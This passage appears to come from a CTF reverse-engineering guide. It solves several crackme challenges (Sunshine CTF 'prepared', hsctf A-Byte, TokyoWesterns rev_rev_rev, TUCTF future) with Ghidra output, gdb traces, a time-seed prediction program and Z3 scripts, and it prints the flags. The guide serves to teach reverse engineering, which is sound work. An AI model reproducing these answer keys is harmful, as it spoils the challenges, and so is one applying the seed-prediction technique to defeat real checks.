[*] '/Hackery/pod/modules/bad_seed/sunshinectf17_prepared/prepared'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    file prepared
prepared: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=9cd9483ed0e7707d3addd2de44da60d2575652fb, not stripped
$    ./prepared
0 days without an incident.
159
Well that didn't take long.
You should have used 13.
```

So we can see that we are dealing with a 64 bit binary that prompts us for input. Looking at the main function in Ghidra, we see this:

```
undefined8 main(void)

{
  long lVar1;
  int randVal;
  int check;
  time_t time;
  FILE *flagFile;
  char *pcVar2;
  long in_FS_OFFSET;
  uint i;
  char flag [64];
  char input [512];
  char target [504];
  long stackCanary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  time = time((time_t *)0x0);
  srand((uint)time);
  i = 0;
  while ((int)i < 0x32) {
    randVal = rand();
    printf("%d days without an incident.\n",(ulong)i);
    sprintf(target,"%d",(ulong)(uint)(randVal % 100));
    __isoc99_scanf(" %10s",input);
    strtok(input,"\n");
    check = strcmp(target,input);
    if (check != 0) {
      puts("Well that didn\'t take long.");
      printf("You should have used %s.\n",target);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    i = i + 1;
  }
  puts("How very unpredictable. Level Cleared");
  flagFile = fopen("flag.txt","r");
  while( true ) {
    pcVar2 = fgets(flag,0x32,flagFile);
    if (pcVar2 == (char *)0x0) break;
    printf("%s",flag);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see, this is pretty similar to the other challenges in this module. It declares time as a seed with the `srand` function, then uses `rand` to generate values (that are modded by

100) that we have to guess in a loop that will run `50` times. So we have to guess what number `rand` will generate 50 times in a row.

Luckily for us, the value `rand` generate is directly based off of the seed. So if we have the same seed, we can generate the same sequence of numbers. Also since the seed is the current time, we know what the seed is. With this we can just write a simple C program which will use time as a seed and generate the numbers it expects:

```
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main(void)
{
    int i, out;
    time_t var0 = time(NULL);
    srand(var0);

    for (i = 0; i < 50; i++)
    {
        out = rand() % 100;
        printf("%d\n", out);
    }

    return 0;
}
```

When we run it:

```
$    ./solve | ./prepared
0 days without an incident.
1 days without an incident.
2 days without an incident.
3 days without an incident.
4 days without an incident.
5 days without an incident.
6 days without an incident.
7 days without an incident.
8 days without an incident.
9 days without an incident.
10 days without an incident.
11 days without an incident.
12 days without an incident.
13 days without an incident.
14 days without an incident.
15 days without an incident.
16 days without an incident.
17 days without an incident.
18 days without an incident.
19 days without an incident.
20 days without an incident.
21 days without an incident.
22 days without an incident.
23 days without an incident.
24 days without an incident.
25 days without an incident.
26 days without an incident.
27 days without an incident.
28 days without an incident.
29 days without an incident.
30 days without an incident.
31 days without an incident.
32 days without an incident.
33 days without an incident.
34 days without an incident.
35 days without an incident.
36 days without an incident.
37 days without an incident.
38 days without an incident.
39 days without an incident.
40 days without an incident.
41 days without an incident.
42 days without an incident.
43 days without an incident.
44 days without an incident.
45 days without an incident.
46 days without an incident.
47 days without an incident.
48 days without an incident.
49 days without an incident.
How very unpredictable. Level Cleared
```

```
isun{pr3d1ct_3very_p[]5s1bl3_scen@r10}
```

Just like that, we got the flag. Also fun fact, this was a challenge I made back for Sunshine CTF 2017.

Z3 & Symbolic Execution (angr)

hsctf 2019 A-Byte

Let's take a look at the binary:

```
$       file a-byte
a-byte: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=88fe0ee8aed1a070d6555c7e9866e364a40f686c, stripped
$       ./a-byte 159
u do not know da wae
```

So we can see that we are dealing with a `64` bit function, that takes in data by passing arguments to the program. Looking through the functions, we find `FUN_0010073a` which appears to hold most of the code that is relevant to us.

```
undefined8 FUN_0010073a(int argc,long argv)

{
  long lVar1;
  int iVar2;
  undefined8 uVar3;
  size_t inputLen;
  long in_FS_OFFSET;
  int i;
  char desiredOutput;
  char *inputPtr;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (argc == 2) {
    inputPtr = *(char **)(argv + 8);
    inputLen = strlen(inputPtr);
    if ((int)inputLen == 0x23) {
      i = 0;
      while (i < 0x23) {
        inputPtr[(long)i] = inputPtr[(long)i] ^ 1;
        i = i + 1;
      }
      desiredOutput = 'i';
      iVar2 = strcmp(&desiredOutput,inputPtr);
      if (iVar2 == 0) {
        puts("Oof, ur too good");
        uVar3 = 0;
        goto LAB_00100891;
      }
    }
  }
  puts("u do not know da wae");
  uVar3 = 0xffffffff;
LAB_00100891:
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

So we can see that it only wants a single argument in addition to the program name (argc has to be two). Then it checks to see if our input that we gave it via and argument is `0x23` bytes long. If so it will then go through and set all of the bytes equal to the byte xored by 1. It then checks to see if our input is equal to `desiredOutput`, and if it is it looks like we solved the challenge. Looking at the decompiled code, it looks like `desiredOutput` is set equal to just the character `i`. The decompilation got that wrong, and looking at the assembly code shows us what it is actually set equal to:

```
001007d5 c6 45 d0 69     MOV        byte ptr [RBP + desiredOutput],0x69
001007d9 c6 45 d1 72     MOV        byte ptr [RBP + local_37],0x72
001007dd c6 45 d2 62     MOV        byte ptr [RBP + local_36],0x62
001007e1 c6 45 d3 75     MOV        byte ptr [RBP + local_35],0x75
001007e5 c6 45 d4 67     MOV        byte ptr [RBP + local_34],0x67
001007e9 c6 45 d5 7a     MOV        byte ptr [RBP + local_33],0x7a
001007ed c6 45 d6 76     MOV        byte ptr [RBP + local_32],0x76
001007f1 c6 45 d7 31     MOV        byte ptr [RBP + local_31],0x31
001007f5 c6 45 d8 76     MOV        byte ptr [RBP + local_30],0x76
001007f9 c6 45 d9 5e     MOV        byte ptr [RBP + local_2f],0x5e
001007fd c6 45 da 78     MOV        byte ptr [RBP + local_2e],0x78
00100801 c6 45 db 31     MOV        byte ptr [RBP + local_2d],0x31
00100805 c6 45 dc 74     MOV        byte ptr [RBP + local_2c],0x74
00100809 c6 45 dd 5e     MOV        byte ptr [RBP + local_2b],0x5e
0010080d c6 45 de 6a     MOV        byte ptr [RBP + local_2a],0x6a
00100811 c6 45 df 6f     MOV        byte ptr [RBP + local_29],0x6f
00100815 c6 45 e0 31     MOV        byte ptr [RBP + local_28],0x31
00100819 c6 45 e1 76     MOV        byte ptr [RBP + local_27],0x76
0010081d c6 45 e2 5e     MOV        byte ptr [RBP + local_26],0x5e
00100821 c6 45 e3 65     MOV        byte ptr [RBP + local_25],0x65
00100825 c6 45 e4 35     MOV        byte ptr [RBP + local_24],0x35
00100829 c6 45 e5 5e     MOV        byte ptr [RBP + local_23],0x5e
0010082d c6 45 e6 76     MOV        byte ptr [RBP + local_22],0x76
00100831 c6 45 e7 40     MOV        byte ptr [RBP + local_21],0x40
00100835 c6 45 e8 32     MOV        byte ptr [RBP + local_20],0x32
00100839 c6 45 e9 5e     MOV        byte ptr [RBP + local_1f],0x5e
0010083d c6 45 ea 39     MOV        byte ptr [RBP + local_1e],0x39
00100841 c6 45 eb 69     MOV        byte ptr [RBP + local_1d],0x69
00100845 c6 45 ec 33     MOV        byte ptr [RBP + local_1c],0x33
00100849 c6 45 ed 63     MOV        byte ptr [RBP + local_1b],0x63
0010084d c6 45 ee 40     MOV        byte ptr [RBP + local_1a],0x40
00100851 c6 45 ef 31     MOV        byte ptr [RBP + local_19],0x31
00100855 c6 45 f0 33     MOV        byte ptr [RBP + local_18],0x33
00100859 c6 45 f1 38     MOV        byte ptr [RBP + local_17],0x38
0010085d c6 45 f2 7c     MOV        byte ptr [RBP + local_16],0x7c
00100861 c6 45 f3 00     MOV        byte ptr [RBP + local_15],0x0
```

So we can see that we are dealing with a char array on the stack, that it moves in input one byte at a time. We can see that the amount of bytes it moves in is `35` (excluding the null byte terminator at the end), the same amount for the length of the data we pass in as an argument. So we know what input we control, we know the algorithm that it is passed through, and we know what the end result will need to be. This is everything we need to make a simple Z3 script to find the solution for us:

```
from z3 import *

# Designate the desired output
desiredOutput = [0x69, 0x72, 0x62, 0x75, 0x67, 0x7a, 0x76, 0x31, 0x76, 0x5e,
0x78, 0x31, 0x74, 0x5e, 0x6a, 0x6f, 0x31, 0x76, 0x5e, 0x65, 0x35, 0x5e, 0x76,
0x40, 0x32, 0x5e, 0x39, 0x69, 0x33, 0x63, 0x40, 0x31, 0x33, 0x38, 0x7c]


# Designate the input z3 will have control of
inp = []
for i in xrange(0x23):
    byte = BitVec("%s" % i, 8)
    inp.append(byte)

z = Solver()

for i in xrange(0x23):
    z.add((inp[i] ^ 1) == desiredOutput[i])


#Check if z3 can solve it, and if it can print out the solution
if z.check() == sat:
#       print z
    print "Condition is satisfied, would still recommend crying: " +
str(z.check())
    solution = z.model()
    flag = ""
    for i in range(0, 0x23):
        flag += chr(int(str(solution[inp[i]])))
    print flag

#Check if z3 can't solve it
elif z.check() == unsat:
    print "Condition is not satisfied, would recommend crying: " +
str(z.check())
```

When we run it:

```
$       python reverent.py
Condition is satisfied, would still recommend crying: sat
hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}
$       ./a-byte hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}
Oof, ur too good
```

Just like that, we solved the challenge!

Tokyowesterns rev_rev_rev

Let's take a look at the binary:

```
$    file rev_rev_rev-
a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e33eb178391bae637823f4645d63d63eac3a8d07, stripped
$    ./rev_rev_rev-
a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: gimme that flag
Invalid!
```

So we are dealing with a `32` bit program that when we run it, it asks for input (and told us it was invalud). My guess is that this program takes input, alters it, and compares it against a string. Looking through the list of functions (or checking the X-References to strings) we find the `FUN_080485ab` function which looks like where the code we are interested in is:

```c
undefined4 FUN_080485ab(void)

{
  char *bytesRead;
  int check;
  int in_GS_OFFSET;
  char input [33];
  int stackCanary;

  stackCanary = *(int *)(in_GS_OFFSET + 0x14);
  puts("Rev! Rev! Rev!");
  printf("Your input: ");
  bytesRead = fgets(input,0x21,stdin);
  if (bytesRead == (char *)0x0) {
    puts("Input Error.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  op0(input);
  op1(input);
  op2(input);
  op3(input);
  check = strcmp(input,PTR_DAT_0804a038);
  if (check == 0) {
    puts("Correct!");
  }
  else {
    puts("Invalid!");
  }
  if (stackCanary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see this function starts off bys scanning in `0x21` bytes into `input`. If the `fgets` call scans in no bytes, it exits with an error message. Then it runs `input` through 4 different functions (`op0-op3`). Then it compares our data against `PTR_DAT_0804a038` using `strcmp`, and if it is equivalent then we pass the challenge. We can check what the value of `PTR_DAT_0804a038` via clicking on it and checking it's value. What is happening here is it is scanning in input, altering it with the ops functions, then checking it against `PTR_DAT_0804a038`:

```
                               DAT_08048870
XREF[2]:     FUN_080485ab:08048668(*),

0804a038(*)
        08048870 41              ??          41h    A
        08048871 29              ??          29h    )
        08048872 d9              ??          D9h
        08048873 65              ??          65h    e
        08048874 a1              ??          A1h
        08048875 f1              ??          F1h
        08048876 e1              ??          E1h
        08048877 c9              ??          C9h
        08048878 19              ??          19h
        08048879 09              ??          09h
        0804887a 93              ??          93h
        0804887b 13              ??          13h
        0804887c a1              ??          A1h
        0804887d 09              ??          09h
        0804887e b9              ??          B9h
        0804887f 49              ??          49h    I
        08048880 b9              ??          B9h
        08048881 89              ??          89h
        08048882 dd              ??          DDh
        08048883 61              ??          61h    a
        08048884 31              ??          31h    1
        08048885 69              ??          69h    i
        08048886 a1              ??          A1h
        08048887 f1              ??          F1h
        08048888 71              ??          71h    q
        08048889 21              ??          21h    !
        0804888a 9d              ??          9Dh
        0804888b d5              ??          D5h
        0804888c 3d              ??          3Dh    =
        0804888d 15              ??          15h
        0804888e d5              ??          D5h
        0804888f 00              ??          00h
```

So first we take a look at the `op0` function and we see this:

```
void op0(char *input)

{
  char *newLinePos;

  newLinePos = strchr(input,10);
  *newLinePos = '\0';
  return;
}
```

Looking at this function, we can see that it first looks for the character `0xa`, which is a newline character. Then it set's that equal to `0x0`. So essentially it replaces the newline character with a null byte. Let's take a look at `op1` :

```
void op1(char *input)

{
  size_t len;
  char *beg;
  char *end;
  char holder;

  beg = input;
  len = strlen(input);
  end = input + (len - 1);
  while (beg < end) {
    holder = *beg;
    *beg = *end;
    *end = holder;
    beg = beg + 1;
    end = end + -1;
  }
  return;
}
```

This code essentially takes our input (which has had the newline character stripped) and just reverses it. For instance, if we gave the program `1234` , it would reverse it to `4321` . Now let's look at `op2` .

```
void op2(byte *input)

{
  byte x;
  byte y;
  byte *inputCpy;

  inputCpy = input;
  while (*inputCpy != 0) {
    x = (char)*inputCpy >> 1 & 0x55U | (*inputCpy & 0x55) * '\x02';
    y = (char)x >> 2 & 0x33U | (byte)(((int)(char)x & 0x33U) << 2);
    *inputCpy = y >> 4 | (byte)((int)(char)y << 4);
    inputCpy = inputCpy + 1;
  }
  return;
}
```

This function alters the input, by performing various binary operations on our input (and in one case, multiplying it). We can see that it is a for loop that will run once per each character of our input. It will take the hex value of each character of our input and alter it, however it will only take the first 8 bits worth of data (so the least significant bit). This code effectively translates to the following python since this might be a bit easier to understand. Also shifting a value to the right by `2` is the same as multiplying it by `4`:

```
def enc(input):
    output = ""
    for c in input:
        c = ord(c)
        x = (2 * (c & 0x55)) | ((c >> 1) & 0x55)
        print "x is: " + hex(x)
        y = (4 * (x & 0x33)) | ((x >> 2) & 0x33)
        print "y is: " + hex(y)
        z = (16 * y) | ( y >> 4)
        print "z is: " + hex(z)
        output = hex(z).replace("0x", "")[-2:] + output
    return output
```

With all of that, let's take a look at the final function our input is ran through `op3`:

```
void op3(byte *input)

{
  byte *inputCpy;

  inputCpy = input;
  while (*inputCpy != 0) {
    *inputCpy = ~*inputCpy;
    inputCpy = inputCpy + 1;
  }
  return;
}
```

So like the previous function, this runs a loop that iterates for each character of the input. However this time it alters each character by performing a binary not (which it's operator in c is `~`). Essentially it takes the binary value of the character, and converts the zeros to ones and ones to zeros. For instance:

```
0:     0x30:    00110000
NOT 0:          11001111 = 0xcf
```

it essentially performs the same function as this python script:

```
def not_inp(inp):
    output = 0x0
    result = ""
    string = bin(inp).replace("0b", "")
    print "Binary string is: " + string
    for s in string:
        if s == "0":
            result += "1"
        if s == "1":
            result += "0"
    print "Binary inverse is: " + result
    output = int(result, 2)
    return output
```

So we understand what the four functions do. We could have also figured out what some of the functions do by using gdb, and looking at the value of `input_buf` changes (it's how I figured out what the first two functions did). Set the breakpoints before each of the four functions is called, and the final strcmp:

```
gdb-peda$ b *0x0804862b
Breakpoint 1 at 0x804862b
gdb-peda$ b *0x0804863a
Breakpoint 2 at 0x804863a
gdb-peda$ b *0x08048649
Breakpoint 3 at 0x8048649
gdb-peda$ b *0x08048658
Breakpoint 4 at 0x8048658
gdb-peda$ b *0x0804866d
Breakpoint 5 at 0x804866d
gdb-peda$ r
Starting program: /Hackery/west/rev/rev_rev_rev-
a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: tux
```

Before `op0` is called:

```
Breakpoint 1, 0x0804862b in ?? ()
gdb-peda$ x/s $eax
0xffffd07b:    "tux\n"
gdb-peda$ c
Continuing.
```

After `op0`, before `op1`:

```
Breakpoint 2, 0x0804863a in ?? ()
gdb-peda$ x/s $eax
0xffffd07b:    "tux"
gdb-peda$ c
Continuing.
```

After `op1`, before `op2`:

```
Breakpoint 3, 0x08048649 in ?? ()
gdb-peda$ x/s $eax
0xffffd07b:    "xut"
gdb-peda$ c
Continuing.
```

After `op2`, before `op3`:

```
Breakpoint 4, 0x08048658 in ?? ()
gdb-peda$ x/x $eax
0xffffd07b:    0x1e
gdb-peda$ x/w $eax
0xffffd07b:    0x002eae1e
gdb-peda$ x/s $eax
0xffffd07b:    "\036\256."
gdb-peda$ c
Continuing.
```

After `op3`, before `strcmp`:

```
Breakpoint 5, 0x0804866d in ?? ()
gdb-peda$ x/x $eax
0xffffd07b:    0xe1
gdb-peda$ x/w $eax
0xffffd07b:    0x00d151e1
```

So we can see the text altered as it is passed through the function. Now that we know what happens to the text, we just need to know what it needs to be after all of it. When we see what value `desired_output` holds, we see this:

```
.rodata:08048870 desired_output_storage db  41h ; A      ; DATA XREF:
.data:desired_outputo
.rodata:08048871                 db  29h ; )
.rodata:08048872                 db 0D9h ; +
.rodata:08048873                 db  65h ; e
.rodata:08048874                 db 0A1h ; í
.rodata:08048875                 db 0F1h ; ±
.rodata:08048876                 db 0E1h ; ß
.rodata:08048877                 db 0C9h ; +
.rodata:08048878                 db  19h
.rodata:08048879                 db    9
.rodata:0804887A                 db  93h ; ô
.rodata:0804887B                 db  13h
.rodata:0804887C                 db 0A1h ; í
.rodata:0804887D                 db    9
.rodata:0804887E                 db 0B9h ; ¦
.rodata:0804887F                 db  49h ; I
.rodata:08048880                 db 0B9h ; ¦
.rodata:08048881                 db  89h ; ë
.rodata:08048882                 db 0DDh ; ¦
.rodata:08048883                 db  61h ; a
.rodata:08048884                 db  31h ; 1
.rodata:08048885                 db  69h ; i
.rodata:08048886                 db 0A1h ; í
.rodata:08048887                 db 0F1h ; ±
.rodata:08048888                 db  71h ; q
.rodata:08048889                 db  21h ; !
.rodata:0804888A                 db  9Dh ; ¥
.rodata:0804888B                 db 0D5h ; +
.rodata:0804888C                 db  3Dh ; =
.rodata:0804888D                 db  15h
.rodata:0804888E                 db 0D5h ; +
.rodata:0804888F                 db    0
```

So we can see that it is equal to a hex string starting with `0x41` and ending with `0x0`. So now that we know what it needs to be equal to we can use the solver z3. Essentially once we define what happens to the input, z3 will tell us what input we need to meet the desired output.

I made two scripts, one to undo the binary not, and one to figure out the input needed to get the desired output out of `enc_func`. Also to account for `op1` (function that reverses our input) I just inputted the hex string backwards. Now for the script to undo the binary not:

```
#Establish the flag after the binary not
flag = [ 0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61,
0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1,
0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41]

#Establish the function to execute the binary not
def not_inp(inp):
    output = 0x0
    result = ""
    string = bin(inp).replace("0b", "")
    #Check if there are less than 8 bits, and if so add zeroes to the front to
get 8 bits
    if len(string) < 8:
        diff = 8 - len(string)
        string = diff*"0" + string
    print "Binary string is:  " + string

    #Swap the ones with zeroes, and vice versa
    for s in string:
        if s == "0":
            result += "1"
        if s == "1":
            result += "0"
    print "Binary inverse is: " + result

    #Convert the binary string to an int, and return it
    output = int(result, 2)
    return output

#Establish the array which will hold the output
out = []
#Iterate through each character of the flag, and undo the binary not
for i in flag:
    x = not_inp(i)
    out.append(x)
    print hex(x)

#Print the flag before the binary not
print "alt_flag = " + str(out)
```

when we run the script, we see that the hex string before the binary not happens is equal to this:

```
alt_flag = [42, 234, 194, 42, 98, 222, 142, 14, 94, 150, 206, 158, 34, 118, 70,
182, 70, 246, 94, 236, 108, 246, 230, 54, 30, 14, 94, 154, 38, 214, 190]
```

With this info, we can just use z3 to figure out the input needed for `enc_func` to output that. Z3 is a theorem solver by Microsoft (you can find install instructions here https://github.com/Z3Prover/z3). Z3 will allow us to essentially declare the input it has control over, specify the algorithm that it goes through, and then specify what you want the output to be (and any additional constraints you want to have). Then you can check if Z3 can solve it, and if it can it will solve it and print a solution. Checkout the code for more details:

```
#Import z3
from z3 import *

#Establish the hex array of what the end result should be before the binary not
alt_flag = [42, 234, 194, 42, 98, 222, 142, 14, 94, 150, 206, 158, 34, 118, 70, 
182, 70, 246, 94, 236, 108, 246, 230, 54, 30, 14, 94, 154, 38, 214, 190]

#Establish the solving function
def solve(alt_flag):
    #Establish the solver
    zolv = Solver()

    #Establish the array which will hold all of the integers which we will input
    inp = []
    for i in range(0, len(alt_flag)):
        b = BitVec("%d" % i, 16)
        inp.append(b)

    #Run the same text altering function as enc_func
    for i in range(0, len(alt_flag)):
        x = (2 * (inp[i] & 0x55)) | ((inp[i] >> 1) & 0x55)
        y = (4 * (x & 0x33)) | ((x >> 2) & 0x33)
        z = (16 * y) | ( y >> 4)
        #We need to and it by 0xff, that way we only get the last 8 bits
        z = z & 0xff
        #Add the condition to z3 that we need to end value to be equal to it's 
corresponding alt_flag value
        zolv.add( z == alt_flag[i])

    #Check if the problem is solvable by z3
    if zolv.check() == sat:
        print "The condition is satisfied, would still recommend crying: " + 
str(zolv.check())
        #The problem is solvable, model it and print the solution
        solution = zolv.model()
        flag = ""
        for i in range(0, len(alt_flag)):
            flag += chr(int(str(solution[inp[i]])))
        print flag

    #The problem is not solvable by z3
    if zolv.check() == unsat:
        print "The condition is not satisfied, would recommend crying: " + 
str(zolv.check())


solve(alt_flag)
```

Let's try it!

```
$ python reverent.py
The condition is satisfied, would still recommend crying: sat
TWCTF{qpzisyDnbmboz76oglxpzYdk}
$ ./rev_rev_rev
Rev! Rev! Rev!
Your input: TWCTF{qpzisyDnbmboz76oglxpzYdk}
Correct!
```

Just like that, we reversed the challenge!

future

Full disclosure, the solution I found and talk about in here is an unintended solution (got the intended flag after showing my solution to an admin).

Let's take a look at the binary:

```
$    file future
future: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=d6e528233c162804c1b358c2e15be38eb717c98a, not stripped
$    ./future
What's the flag: TUCTF{heres_a_flag}
Try harder.
```

So it is a 32 bit binary, and when we run it it prompts us for the flag. Luckily for this one we're given the source code. Let's take a look at it:

```
$    cat future.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void genMatrix(char mat[5][5], char str[]) {
    for (int i = 0; i < 25; i++) {
        int m = (i * 2) % 25;
        int f = (i * 7) % 25;
        mat[m/5][m%5] = str[f];
    }
}

void genAuthString(char mat[5][5], char auth[]) {
    auth[0] = mat[0][0] + mat[4][4];
    auth[1] = mat[2][1] + mat[0][2];
    auth[2] = mat[4][2] + mat[4][1];
    auth[3] = mat[1][3] + mat[3][1];
    auth[4] = mat[3][4] + mat[1][2];
    auth[5] = mat[1][0] + mat[2][3];
    auth[6] = mat[2][4] + mat[2][0];
    auth[7] = mat[3][3] + mat[3][2] + mat[0][3];
    auth[8] = mat[0][4] + mat[4][0] + mat[0][1];
    auth[9] = mat[3][3] + mat[2][0];
    auth[10] = mat[4][0] + mat[1][2];
    auth[11] = mat[0][4] + mat[4][1];
    auth[12] = mat[0][3] + mat[0][2];
    auth[13] = mat[3][0] + mat[2][0];
    auth[14] = mat[1][4] + mat[1][2];
    auth[15] = mat[4][3] + mat[2][3];
    auth[16] = mat[2][2] + mat[0][2];
    auth[17] = mat[1][1] + mat[4][1];
}

int main() {
    char flag[26];
    printf("What's the flag: ");
    scanf("%25s", flag);
    flag[25] = 0;

    if (strlen(flag) != 25) {
        puts("Try harder.");
        return 0;
    }


    // Setup matrix
    char mat[5][5];// Matrix for a jumbled string
    genMatrix(mat, flag);
    // Generate auth string
    char auth[19]; // The auth string they generate
    auth[18] = 0; // null byte
```

```
    genAuthString(mat, auth);
    char pass[19] = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99
\x99\x94\xad\xe4\x00";

    // Check the input
    if (!strcmp(pass, auth)) {
        puts("Yup thats the flag!");
    } else {
        puts("Nope. Try again.");
    }

    return 0;
}
```

So looking at the source code, we can tell what the program does. It scans in up to 25 bytes of input, checks to make sure that it scanned in 25 bytes. Then it creates a 5 by 5 matrix, and stores the 25 bytes in the matrix in a slightly obscure way. Then it takes the matrix and performs 19 different additions using 2-3 different matrix values for each iteration. It then compares the output of that to a predefined answer `pass`. If they are the same, then you have the flag.

So first we need to figure out how our input is stored in the matrix. For that, python can help. There are three different values we need to worry about in the `genMatrix` function `f`, `m/5`, and `m%5`:

```
>>> for i in xrange(25):
...     print ((i * 2) % 25) / 5
...
0
0
0
1
1
2
2
2
3
3
4
4
4
0
0
1
1
1
2
2
3
3
3
4
4
>>> for i in xrange(25):
...     print ((i * 2) % 25) % 5
...
0
2
4
1
3
0
2
4
1
3
0
2
4
1
3
0
2
4
1
3
0
```

```
2
4
1
3
>>> for i in xrange(25):
...     print ((i * 7) % 25)
...
0
7
14
21
3
10
17
24
6
13
20
2
9
16
23
5
12
19
1
8
15
22
4
11
18
```

Putting it all together, we find that this is how our input is stored in the5 by 5 matrix:

```
matrix[0][0] = input[0]
matrix[0][2] = input[7]
matrix[0][4] = input[14]
matrix[1][1] = input[21]
matrix[1][3] = input[3]
matrix[2][0] = input[10]
matrix[2][2] = input[17]
matrix[2][4] = input[24]
matrix[3][1] = input[6]
matrix[3][3] = input[13]
matrix[4][0] = input[20]
matrix[4][2] = input[2]
matrix[4][4] = input[9]
matrix[0][1] = input[16]
matrix[0][3] = input[23]
matrix[1][0] = input[5]
matrix[1][2] = input[12]
matrix[1][4] = input[19]
matrix[2][1] = input[1]
matrix[2][3] = input[8]
matrix[3][0] = input[15]
matrix[3][2] = input[22]
matrix[3][4] = input[4]
matrix[4][1] = input[11]
matrix[4][3] = input[18]
```

The mathematical operations done with the matrix is made clear in the source code. So now that we know how our input is scanned in, stored in the matrix, the algorithm the data is ran through, and the desired output it's compared against. We can just write a bit of python code which will use Microsoft's z3 theorem solver to figure out the input we need to get an output. You can check the source code of the script for more details on how Z3 works (tl;dr we specify the inputs we have control over, the algorithm it gets run through, and the constraints such as what we want the end result to be):

```
#Import z3
from z3 import *

#Designate the input z3 will have control of
inp = []
for i in xrange(25):
    b = BitVec("%s" % i, 8)
    inp.append(b)
#Store the input from z3 in the matrix
h, l = 5, 5;
mat = [[0 for x in range(l)] for y in range(h)]
mat[0][0] = inp[0]
mat[0][2] = inp[7]
mat[0][4] = inp[14]
mat[1][1] = inp[21]
mat[1][3] = inp[3]
mat[2][0] = inp[10]
mat[2][2] = inp[17]
mat[2][4] = inp[24]
mat[3][1] = inp[6]
mat[3][3] = inp[13]
mat[4][0] = inp[20]
mat[4][2] = inp[2]
mat[4][4] = inp[9]
mat[0][1] = inp[16]
mat[0][3] = inp[23]
mat[1][0] = inp[5]
mat[1][2] = inp[12]
mat[1][4] = inp[19]
mat[2][1] = inp[1]
mat[2][3] = inp[8]
mat[3][0] = inp[15]
mat[3][2] = inp[22]
mat[3][4] = inp[4]
mat[4][1] = inp[11]
mat[4][3] = inp[18]
#print mat

#Perform the 19 math operations with the matrix
auth = [0]*19
auth[0] = mat[0][0] + mat[4][4]
auth[1] = mat[2][1] + mat[0][2]
auth[2] = mat[4][2] + mat[4][1]
auth[3] = mat[1][3] + mat[3][1]
auth[4] = mat[3][4] + mat[1][2]
auth[5] = mat[1][0] + mat[2][3]
auth[6] = mat[2][4] + mat[2][0]
auth[7] = mat[3][3] + mat[3][2] + mat[0][3]
auth[8] = mat[0][4] + mat[4][0] + mat[0][1]
auth[9] = mat[3][3] + mat[2][0]
auth[10] = mat[4][0] + mat[1][2]
auth[11] = mat[0][4] + mat[4][1]
```

```
auth[12] = mat[0][3] + mat[0][2]
auth[13] = mat[3][0] + mat[2][0]
auth[14] = mat[1][4] + mat[1][2]
auth[15] = mat[4][3] + mat[2][3]
auth[16] = mat[2][2] + mat[0][2]
auth[17] = mat[1][1] + mat[4][1]
#print auth

#Create the solver, and the desired output
z = Solver()
enc = [0x8b, 0xce, 0xb0, 0x89, 0x7b, 0xb0, 0xb0, 0xee, 0xbf, 0x92, 0x65, 0x9d,
0x9a, 0x99, 0x99, 0x94, 0xad, 0xe4]

#Create the z3 constraints for what the output should be:
#equal to it's corresponding enc value
#an ascii character to make it easier to input into the program
for i in xrange(len(enc)):
#    print enc[i]
    z.add(auth[i] == enc[i])
for i in xrange(25):
    z.add(inp[i] > 32)
    z.add(inp[i] < 127)

#Check if z3 can solve it, and if it can print out the solution
if z.check() == sat:
#    print z
    print "Condition is satisfied, would still recommend crying: " +
str(z.check())
    solution = z.model()
    flag = ""
    for i in inp:
        flag += chr(int(str(solution[i])))
    print "solution is: " + flag

#Check if z3 can't solve it
if z.check() == unsat:
    print "Condition is not satisfied, would recommend crying: " +
str(z.check())
```

When we run it:

```
$    python reverent.py
Condition is satisfied, would still recommend crying: sat
solution is: KgBIVp@g@@9n%Y/`PFTt@vb3w
$    ./future
What's the flag: KgBIVp@g@@9n%Y/`PFTt@vb3w
Yup thats the flag!
```

After talking to an admin about my solution, he gave me the real flag which is `TUCTF{5y573m5_0f_4_d0wn!}` . Just like that, we captured the flag using an unintended solution!

defcamp 2015 quals r100

Let's take a look at the binary:

```
$    file r100
r100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.24,
BuildID[sha1]=0f464824cc8ee321ef9a80a799c70b1b6aec8168, stripped
$    pwn checksec r100
